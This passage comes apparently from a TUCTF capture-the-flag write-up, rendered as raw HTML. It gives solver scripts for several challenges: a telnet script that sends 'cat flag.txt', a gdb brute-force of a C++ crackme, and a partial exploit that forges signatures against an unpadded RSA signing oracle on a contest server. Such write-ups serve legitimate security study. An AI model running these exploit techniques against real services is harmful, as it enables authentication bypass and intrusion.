&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Hello &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;cat flag.txt&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;reverse-your-rage&quot;&gt;Reverse your Rage&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;$ ./rage.exe                                                             1s
As you move through the layer of anger, you are stopped by an furious giant.
Lucifer, clever as always, convinces him not to obliterate you, but to instead give you a puzzle
The giant tells you that &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; you find the word that solves the puzzle, he will &lt;span class=&quot;nb&quot;&gt;let&lt;/span&gt; you pass
&amp;gt; whatever
Nope, the giant says with a laugh&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/rage-cxx.png&quot;&gt;&lt;img src=&quot;/images/tuctf/rage-cxx_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Opening up the file in IDA immediately shows that it was written in C++. This is
as good as an obfuscation, especially because this is the first time I am reversing
anything written in it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/rage-magic.png&quot;&gt;&lt;img src=&quot;/images/tuctf/rage-magic_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The task is to figure out what input to the &lt;code&gt;analyzeMeow&lt;/code&gt; function will make
it return true. The important parts of the function are here:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/rage-check.png&quot;&gt;&lt;img src=&quot;/images/tuctf/rage-check_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first part is easy to puzzle out — compare every character of the input at an odd index
to the characters stored in &lt;code&gt;mewOne&lt;/code&gt;. This leads to:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;t_c_f_A_d_e_p_r_e_o&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After staring at the second part for a bit, I decided to take a more straigtforward approach:&lt;/p&gt;

&lt;p&gt;The point at which the comparison fails is at the &lt;code&gt;mov [rbp-25h], 0&lt;/code&gt; line. The current
character index is stored at &lt;code&gt;[rbp-0x2c]&lt;/code&gt;. This means that the flag can easily be guessed
character-by-character by setting a breakpoint to
trigger when the comparison fails and checking whether the counter incremented beyond
the currently guessed character.&lt;/p&gt;

&lt;p&gt;Altough this could very likely be easily implemented by scripting gdb directly,
there was not enough of time for me to learn that, so I just took a
semi-automatic approach:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;#! /usr/bin/env python3&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;subprocess&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Popen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PIPE&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;z&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
                                    &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Z&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))])&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;tuctf{A_d_e_p_r_e_o}&amp;quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;_&amp;quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alphabet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;_&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Popen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;gdbserver&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;127.0.0.1:4444&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;./rage.exe&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PIPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PIPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PIPE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;stdout_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;communicate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;yes?&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;g&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And in another window:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-fish&quot; data-lang=&quot;fish&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; gdb -q rage.exe -ex &lt;span class=&quot;s1&quot;&gt;&amp;#39;target remote localhost:4444&amp;#39;&lt;/span&gt; -ex &lt;span class=&quot;s1&quot;&gt;&amp;#39;break *0x40105b&amp;#39;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
	-ex &lt;span class=&quot;s1&quot;&gt;&amp;#39;cont&amp;#39;&lt;/span&gt; -ex &lt;span class=&quot;s1&quot;&gt;&amp;#39;x/u ($rbp - 0x30)&amp;#39;&lt;/span&gt; -ex &lt;span class=&quot;s1&quot;&gt;&amp;#39;set confirm off&amp;#39;&lt;/span&gt; -ex &lt;span class=&quot;s1&quot;&gt;&amp;#39;quit&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; sleep 1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;Breakpoint &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;, 0x000000000040105b in analyzeMeow&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
0x7fffffffdd40: &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt;
...
Breakpoint &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;, 0x000000000040105b in analyzeMeow&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
0x7fffffffdd40: &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt;
...
Breakpoint &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;, 0x000000000040105b in analyzeMeow&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;std::__cxx11::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
0x7fffffffdd40: &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;secure-auth&quot;&gt;Secure Auth&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;Welcome to RSA authentication!
give me message to sign:
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
Sure, I will sign that:
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
Only authorized people can view the flag
give me a signature &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; get_you_hands_off_my_RSA!:&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Okay, here we have an RSA signing oracle (it obviously won’t sign the requested
message directly). However, this oracle is not using proper padding, which has
a lot of &lt;a href=&quot;http://crypto.stackexchange.com/a/20087&quot;&gt;problems&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First, the public key needs to be recovered,
this can be done using a &lt;a href=&quot;http://crypto.stackexchange.com/a/26190&quot;&gt;pair of two signatures&lt;/a&gt;,
\((m_1, s_1),\ (m_2, s_2)\):&lt;/p&gt;

\[m_i = s^e_i \ \bmod \ n \\
	s^e_i = k_in + m_i \\
	\gcd(s_1^e - m_1, s_2^e - m_2) = \gcd(k_1, k_2) n\]

&lt;p&gt;This also means guessing the public exponent, which turns out to be the
commonly used \(65537\). Altough \(\gcd(k_1, k_2)\) is not guaranteed to be \(1\)
it is easy to just pick new message pairs until it is (the public key then
can be verified by getting the server to sign it, as \(N^d \bmod N = 0\)).&lt;/p&gt;

&lt;p&gt;Now onto the signature forgery. We first need to pick a constant \(k\) such as
that the message (\(m_b\)) is evenly divisible by it. Signatures for \(k m_b\) and \(k\) can
then be used to create a valid signature for \(m_b\).&lt;/p&gt;

\[\begin{align}
  s_k &amp;amp;= k^d \bmod N \\
  s_m &amp;amp;= (km_b)^d \bmod N \\
  &amp;amp;\Rightarrow \\
  s_b &amp;amp;= s_m s_k^{-1} \bmod N
\end{align}\]

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;#! /usr/bin/env python3.4&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Crypto.PublicKey.RSA&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inverse&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;telnetlib&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;gmpy2&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;g&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;65537&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;telnetlib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Telnet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;104.196.116.248&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;54321&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Welcome&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;give me message to sign:&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;tel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;Sure, &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fromstr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;m1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mpz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;m2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mpz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

